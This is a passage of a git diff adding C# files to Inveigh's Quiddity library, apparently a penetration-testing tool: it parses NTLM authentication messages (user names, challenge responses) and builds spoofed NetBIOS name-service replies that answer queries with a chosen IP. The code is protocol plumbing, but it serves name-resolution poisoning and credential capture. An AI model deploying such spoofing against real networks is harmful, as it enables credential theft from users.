+ //MechListMIC = ASN1.GetTagBytes(4, ASN1.GetTagBytes(163, data))
+ };
+
+ return spnegoNegTokenResp;
+ }
+
+ private void ParseValues()
+ {
+ this.DomainName = new byte[this.DomainNameLen];
+ Buffer.BlockCopy(this.Payload, (int)(this.DomainNameBufferOffset - 88), this.DomainName, 0, this.DomainNameLen);
+ this.UserName = new byte[this.UserNameLen];
+ Buffer.BlockCopy(this.Payload, (int)(this.UserNameBufferOffset - 88), this.UserName, 0, this.UserNameLen);
+ this.Workstation = new byte[this.WorkstationLen];
+ Buffer.BlockCopy(this.Payload, (int)(this.WorkstationBufferOffset - 88), this.Workstation, 0, this.WorkstationLen);
+ this.EncryptedRandomSessionKey = new byte[this.EncryptedRandomSessionKeyLen];
+ Buffer.BlockCopy(this.Payload, (int)(this.EncryptedRandomSessionKeyBufferOffset - 88), this.EncryptedRandomSessionKey, 0, this.EncryptedRandomSessionKeyLen);
+ this.LmChallengeResponse = new byte[this.LmChallengeResponseLen];
+ Buffer.BlockCopy(this.Payload, (int)(this.LmChallengeResponseBufferOffset - 88), this.LmChallengeResponse, 0, this.LmChallengeResponseLen);
+ this.NtChallengeResponse = new byte[this.NtChallengeResponseLen];
+ Buffer.BlockCopy(this.Payload, (int)(this.NtChallengeResponseBufferOffset - 88), this.NtChallengeResponse, 0, this.NtChallengeResponseLen);
+ }
+
+ }
+
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/NTLM/Structures/NTLMAVPair.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/NTLM/Structures/NTLMAVPair.cs
new file mode 100644
index 0000000..2e9c678
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/NTLM/Structures/NTLMAVPair.cs
@@ -0,0 +1,128 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.Text;
+using System.IO;
+
+namespace Quiddity.NTLM
+{
+ class NTLMAVPair
+ {
+ //https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/83f5e789-660d-4781-8491-5f8c6641f75e
+ public ushort AvId { get; set; }
+ public ushort AvLen { get; set; }
+ public byte[] Value { get; set; }
+
+ public NTLMAVPair()
+ {
+ this.AvId = 0;
+ this.AvLen = 0;
+ this.Value = new byte[0];
+ }
+
+ public byte[] GetBytes(string netBIOSDomainName, string netBIOSComputerName, string dnsDomainName, string dnsComputerName, string dnsTreeName, byte[] timestamp)
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream())
+ {
+ PacketWriter packetWriter = new PacketWriter(memoryStream);
+
+ if (!String.IsNullOrEmpty(netBIOSDomainName))
+ {
+ this.AvId = 2;
+ this.Value = Encoding.Unicode.GetBytes(netBIOSDomainName);
+ this.AvLen = (ushort)this.Value.Length;
+ packetWriter.Write(this.AvId);
+ packetWriter.Write(this.AvLen);
+ packetWriter.Write(this.Value);
+ }
+
+ if (!String.IsNullOrEmpty(netBIOSComputerName))
+ {
+ this.AvId = 1;
+ this.Value = Encoding.Unicode.GetBytes(netBIOSComputerName);
+ this.AvLen = (ushort)this.Value.Length;
+ packetWriter.Write(this.AvId);
+ packetWriter.Write(this.AvLen);
+ packetWriter.Write(this.Value);
+ }
+
+ if (!String.IsNullOrEmpty(dnsDomainName))
+ {
+ this.AvId = 4;
+ this.Value = Encoding.Unicode.GetBytes(dnsDomainName);
+ this.AvLen = (ushort)this.Value.Length;
+ packetWriter.Write(this.AvId);
+ packetWriter.Write(this.AvLen);
+ packetWriter.Write(this.Value);
+ }
+
+ if (!String.IsNullOrEmpty(dnsComputerName))
+ {
+ this.AvId = 3;
+ this.Value = Encoding.Unicode.GetBytes(dnsComputerName);
+ this.AvLen = (ushort)this.Value.Length;
+ packetWriter.Write(this.AvId);
+ packetWriter.Write(this.AvLen);
+ packetWriter.Write(this.Value);
+ }
+
+ if (!String.IsNullOrEmpty(dnsTreeName) && !String.Equals(dnsTreeName, netBIOSComputerName))
+ {
+ this.AvId = 5;
+ this.Value = Encoding.Unicode.GetBytes(dnsTreeName);
+ this.AvLen = (ushort)this.Value.Length;
+ packetWriter.Write(this.AvId);
+ packetWriter.Write(this.AvLen);
+ packetWriter.Write(this.Value);
+ }
+
+ this.AvId = 7;
+ this.Value = timestamp;
+ this.AvLen = 8;
+ packetWriter.Write(this.AvId);
+ packetWriter.Write(this.AvLen);
+ packetWriter.Write(this.Value);
+
+ this.AvId = 0;
+ this.AvLen = 0;
+ packetWriter.Write(this.AvId);
+ packetWriter.Write(this.AvLen);
+
+ return memoryStream.ToArray();
+ }
+
+ }
+
+ }
+
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/NTLM/Structures/NTLMv1Response.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/NTLM/Structures/NTLMv1Response.cs
new file mode 100644
index 0000000..36eba9a
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/NTLM/Structures/NTLMv1Response.cs
@@ -0,0 +1,39 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+namespace Quiddity.NTLM
+{
+ class NTLMv1Response
+ {
+ // https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/b88739c6-1266-49f7-9d22-b13923bd8d66
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/NTLM/Structures/NTLMv2ClientChallenge.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/NTLM/Structures/NTLMv2ClientChallenge.cs
new file mode 100644
index 0000000..cbda85b
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/NTLM/Structures/NTLMv2ClientChallenge.cs
@@ -0,0 +1,39 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+namespace Quiddity.NTLM
+{
+ class NTLMv2ClientChallenge
+ {
+ // https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/aee311d6-21a7-4470-92a5-c4ecb022a87b
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/NTLM/Structures/NTLMv2Response.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/NTLM/Structures/NTLMv2Response.cs
new file mode 100644
index 0000000..0c26bff
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/NTLM/Structures/NTLMv2Response.cs
@@ -0,0 +1,39 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+namespace Quiddity.NTLM
+{
+ class NTLMv2Response
+ {
+ //https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/d43e2224-6fc3-449d-9f37-b90b55a29c80
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/NetBIOS/NetBIOSNSChecker.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/NetBIOS/NetBIOSNSChecker.cs
new file mode 100644
index 0000000..cbb9d2e
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/NetBIOS/NetBIOSNSChecker.cs
@@ -0,0 +1,76 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using Quiddity.DNS;
+using Quiddity.Support;
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Net;
+using System.Text;
+
+namespace Quiddity.NetBIOS
+{
+ class NetBIOSNSChecker : DNSChecker
+ {
+ /// <summary>method <c>GetBytes</c> returns reply buffer.</summary>
+ public static byte[] GetBytes(NetBIOSNSHeader header, NetBIOSNSQuestion question, uint ttl, string replyIP)
+ {
+ byte[] rdata = Utilities.BlockCopy(new byte[2], IPAddress.Parse(replyIP).GetAddressBytes());
+
+ NetBIOSNSHeader responseHeader = new NetBIOSNSHeader
+ {
+ ID = header.ID,
+ R = true,
+ Opcode = "0000",
+ AA = true,
+ TC = false,
+ RD = true,
+ RA = false,
+ Z = "00",
+ B = false,
+ RCode = "0000",
+ QDCount = 0,
+ ANCount = 1
+ };
+
+ NetBIOSNSResource resource = new NetBIOSNSResource();
+ resource.Name = question.QName;
+ resource.Type = question.QType;
+ resource.Class = question.QClass;
+ resource.TTL = ttl;
+ resource.RDLength = 6;
+ resource.RData = rdata;
+
+ return Utilities.BlockCopy(responseHeader.GetBytes(), resource.GetBytes());
+ }
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/NetBIOS/NetBIOSNSHeader.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/NetBIOS/NetBIOSNSHeader.cs
new file mode 100644
index 0000000..88255a3
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/NetBIOS/NetBIOSNSHeader.cs
@@ -0,0 +1,135 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using Quiddity.DNS;
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.NetBIOS
+{
+ class NetBIOSNSHeader : DNSHeader
+ {
+ // https://datatracker.ietf.org/doc/html/rfc1002
+ public bool R { get; set; } // 1 bit
+ public bool B { get; set; } // 1 bit
+ public NetBIOSNSHeader()
+ {
+
+ }
+
+ public NetBIOSNSHeader(byte[] data)
+ {
+ ReadBytes(data, 0);
+ }
+
+ protected override void ReadFlags()
+ {
+ string flags = Convert.ToString(BitConverter.ToUInt16(this.Flags, 0), 2).PadLeft(16, '0');
+
+ if (string.Equals(flags.Substring(0, 1), "1"))
+ {
+ this.R = true;
+ }
+
+ this.Opcode = flags.Substring(1, 4);
+
+ if (string.Equals(flags.Substring(5, 1), "1"))
+ {
+ this.AA = true;
+ }
+
+ if (string.Equals(flags.Substring(6, 1), "1"))
+ {
+ this.TC = true;
+ }
+
+ if (string.Equals(flags.Substring(7, 1), "1"))
+ {
+ this.RD = true;
+ }
+
+ if (string.Equals(flags.Substring(8, 1), "1"))
+ {
+ this.RA = true;
+ }
+
+ this.Z = flags.Substring(9, 2);
+
+ if (string.Equals(flags.Substring(11, 1), "1"))
+ {
+ this.B = true;
+ }
+
+ this.RCode = flags.Substring(12, 4);
+ }
+
+ protected override void WriteFlags()
+ {
+ string flags = this.R ? "1" : "0";
+ flags += this.Opcode;
+ flags += this.AA ? "1" : "0";
+ flags += this.TC ? "1" : "0";
+ flags += this.RD ? "1" : "0";
+ flags += this.RA ? "1" : "0";
+ flags += this.Z;
+ flags += this.B ? "1" : "0";
+ flags += this.RCode;
+ byte[] bytes = new byte[2];
+
+ for (int i = 0; i < 2; ++i)
+ {
+ bytes[i] = Convert.ToByte(flags.Substring(8 * i, 8), 2);
+ }
+
+ this.Flags = bytes;
+ }
+
+ public byte[] Parse(uint ttl, string ip, byte[] data, out string name, out string type)
+ {
+ this.ReadBytes(data, 0);
+ name = "";
+ type = "";
+
+ if (this.QDCount == 1 && this.ANCount == 0)
+ {
+ NetBIOSNSQuestion question = new NetBIOSNSQuestion();
+ question.ReadBytes(data, 12);
+ NetBIOSNSResource response = new NetBIOSNSResource();
+ return response.GetBytes(question, ttl, ip, this.ID);
+ }
+
+ return null;
+ }
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/NetBIOS/NetBIOSNSPacket.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/NetBIOS/NetBIOSNSPacket.cs
new file mode 100644
index 0000000..84fd653
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/NetBIOS/NetBIOSNSPacket.cs
@@ -0,0 +1,93 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using Quiddity.Support;
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Net;
+using System.Text;
+
+namespace Quiddity.NetBIOS
+{
+ class NetBIOSNSPacket
+ {
+ public NetBIOSNSHeader Header { get; set; }
+ public NetBIOSNSQuestion Question { get; set; }
+ public NetBIOSNSResource Resource { get; set; }
+
+ public NetBIOSNSPacket(byte[] data)
+ {
+ ReadBytes(data);
+ }
+
+ public NetBIOSNSPacket ReadBytes(byte[] data)
+ {
+ this.Header = new NetBIOSNSHeader(data);
+ this.Question = new NetBIOSNSQuestion(data);
+ return this;
+ }
+
+ public byte[] GetBytes(uint ttl, string replyIP)
+ {
+ byte[] rdata = Utilities.BlockCopy(new byte[2], IPAddress.Parse(replyIP).GetAddressBytes());
+
+ this.Header = new NetBIOSNSHeader
+ {
+ ID = this.Header.ID,
+ R = true,
+ Opcode = "0000",
+ AA = true,
+ TC = false,
+ RD = true,
+ RA = false,
+ Z = "00",
+ B = false,
+ RCode = "0000",
+ QDCount = 0,
+ ANCount = 1
+ };
+
+ this.Resource = new NetBIOSNSResource
+ {
+ Name = this.Question.QName,
+ Type = this.Question.QType,
+ Class = this.Question.QClass,
+ TTL = ttl,
+ RDLength = 6,
+ RData = rdata
+ };
+
+ return Utilities.BlockCopy(this.Header.GetBytes(), this.Resource.GetBytes());
+ }
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/NetBIOS/NetBIOSNSQuestion.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/NetBIOS/NetBIOSNSQuestion.cs
new file mode 100644
index 0000000..9840b14
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/NetBIOS/NetBIOSNSQuestion.cs
@@ -0,0 +1,166 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using Quiddity.DNS;
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+using System.Text.RegularExpressions;
+
+namespace Quiddity.NetBIOS
+{
+ class NetBIOSNSQuestion : DNSQuestion
+ {
+ public NetBIOSNSQuestion()
+ {
+
+ }
+
+ public NetBIOSNSQuestion(byte[] data)
+ {
+ ReadBytes(data, 12);
+ }
+
+ protected override string ConvertName()
+ {
+ byte[] nameData = new byte[30];
+ Buffer.BlockCopy(this.QName, 1, nameData, 0, 30);
+ string hex = BitConverter.ToString(nameData);
+ string[] nameArray = hex.Split('-');
+ string characters = "";
+
+ foreach (string character in nameArray)
+ {
+ characters += new string(Convert.ToChar(Convert.ToInt16(character, 16)), 1);
+ }
+
+ if (characters.Contains("CA"))
+ {
+ characters = characters.Substring(0, characters.IndexOf("CA"));
+ }
+
+ int i = 0;
+ string nameSubstring = "";
+
+ do
+ {
+ byte characterByte = (byte)Convert.ToChar(characters.Substring(i, 1));
+ characterByte -= 0x41;
+ nameSubstring += Convert.ToString(characterByte, 16);
+ i++;
+ }
+ while (i < characters.Length);
+
+ i = 0;
+ string name = "";
+
+ do
+ {
+ name += (Convert.ToChar(Convert.ToInt16(nameSubstring.Substring(i, 2), 16)));
+ i += 2;
+ }
+ while (i < nameSubstring.Length - 1);
+
+ if (characters.StartsWith("ABAC") && characters.EndsWith("AC"))
+ {
+ name = name.Substring(2);
+ name = name.Substring(0, name.Length - 1);
+ name = string.Concat("<01><02>", name, "<02>");
+ }
+
+ Regex printable = new Regex("[^\x00-\x7F]+");
+
+ if (printable.IsMatch(name))
+ {
+ return "";
+ }
+
+ return name;
+ }
+
+ protected override string GetType()
+ {
+ byte[] typeData = new byte[2];
+ Buffer.BlockCopy(this.QName, 31, typeData, 0, 2);
+ string nbnsQuery = BitConverter.ToString(typeData);
+ string nbnsQueryType = "";
+
+ switch (nbnsQuery)
+ {
+
+ case "41-41":
+ nbnsQueryType = "00";
+ break;
+
+ case "41-42":
+ nbnsQueryType = "01";
+ break;
+
+ case "41-43":
+ nbnsQueryType = "02";
+ break;
+
+ case "41-44":
+ nbnsQueryType = "03";
+ break;
+
+ case "42-4A":
+ nbnsQueryType = "19";
+ break;
+
+ case "43-41":
+ nbnsQueryType = "20";
+ break;
+
+ case "42-4C":
+ nbnsQueryType = "1B";
+ break;
+
+ case "42-4D":
+ nbnsQueryType = "1C";
+ break;
+
+ case "42-4E":
+ nbnsQueryType = "1D";
+ break;
+
+ case "42-4F":
+ nbnsQueryType = "1E";
+ break;
+
+ }
+
+ return nbnsQueryType;
+ }
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/NetBIOS/NetBIOSNSResource.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/NetBIOS/NetBIOSNSResource.cs
new file mode 100644
index 0000000..89d136a
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/NetBIOS/NetBIOSNSResource.cs
@@ -0,0 +1,68 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
